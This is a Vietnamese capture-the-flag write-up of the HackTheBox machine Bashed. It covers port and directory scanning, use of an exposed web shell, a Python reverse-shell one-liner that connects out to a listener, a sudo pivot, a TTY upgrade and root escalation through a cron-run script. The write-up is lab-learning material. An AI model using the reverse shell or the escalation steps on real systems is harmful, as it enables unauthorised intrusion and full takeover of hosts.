Write-up HackTheBox:Bashed
Bài đăng này đã không được cập nhật trong 3 năm
Mở đầu
Tiếp theo series là machine Bashed đây cũng được đánh giá là một bài dễ
Write-up
Recon
Vẫn là câu lệnh quen thuộc
nmap -A -v 10.10.10.68 -p- -o nmap
Ta thấy server chỉ mở đúng một cổng 80 và ta tiến hành truy cập thử xem có gì
Ở đây nhắc đến phpbash được triển khai trên server này. Sau khi tìm thử thì mình phát hiện đây là một web shell và mình bắt đầu dùng gobuster để tìm đường dẫn đến file này
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.10.10.68 -x php,txt,bak -o gobuster
Sau khi vào các thư mục ở trên thì ta thấy 2 file web shell
Exploit
www-data
Đầu tiên mình kiểm tra server có python không bằng lệnh
which python
Sau khi xác nhận server có python thì mình tạo một reverse shell về máy mình để tiện thao tác
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Và ta có được shell đầu
scriptmanager
Kiểm tra user có thể chạy lện nào bằng sudo
sudo -l
Ở đây ta có thể chạy bất kì lệnh nào dưới quyền của scriptmanager và ta dễ dàng có được shell thứ 2
sudo -u scriptmanager /bin/bash
root
Kiểm tra với sudo và find không tìm được file nào thú vị
sudo -l
find / -perm -u=s -exec ls -la {} \; 2>/dev/null
Ở đây chắc hẳn nhiều bạn có thói quen ấn Ctrl+C và sau khi ấn ta sẽ bị mất shell (dump shell) và lại phải làm lại từ đầu. Bây giờ mình sẽ hướng dẫn các bạn từ dump shell lên fully interactive ttys
Lưu ý: Nếu bạn dùng bản kail mới nhất hay đang dùng shell khác không phải là bash shell thì phải đổi về bash shell thì mới có thể làm được( Mình tạo một user khác có shell là /bin/bash)
Đầu tiên tạo shell tty với python
python -c 'import pty;pty.spawn("/bin/bash")
Tiếp theo ấn Ctrl+Z để cho shell chạy background
Tìm loại TERM đang chạy shell của mình
echo $TERM
Ở đây mình dùng tmux lên TERM là screen còn bình thường sẽ là xterm-256color Tiếp đến là
stty raw -echo
fg
reset
screen( tùy vào giá trị mà bạn lệnh echo $TERM của bạn)
Lưu ý: ở đây mình không đánh lại lệnh nc -lnvp 443
Sau khi hoàn thành bạn sẽ không phải lo việc ấn nhầm Ctrl+C và bị mất shell nữa
Tiếp tục với leo thang thì sau khi chạy ps thì mình thấy server đang chạy cron
ps aux | grep root
Liệt kê tất cả file cấu hình cron
ls -la /etc/cron*
Mình xem thử qua tất cả các file và không thấy file nào có khả năng để khai thác
Sau đó mình tìm thử các file thuộc sở hữu của scriptmanager
find / 2>/dev/null -user scriptmanager | grep -v proc
Sau khi đọc thử 2 file ở thư mục scripts thì mình thấy file test .py sẽ ghi vào test.txt và để ý ở đây quyền của test.txt là root cộng với cron thì mình đoán là file test .py được chạy bằng cron. Bây mình sẽ dùng nano để chỉnh sửa file test .py và để làm được điều này thì mình đã trình bày ở trên cách để lên fully interactive shell.
Ghi vào file test .py
Đợi 1 lúc là ta có được shell root
Conclusion
Ở bài này mình học được cách nâng từ simple shell lên fully interactive shell
All rights reserved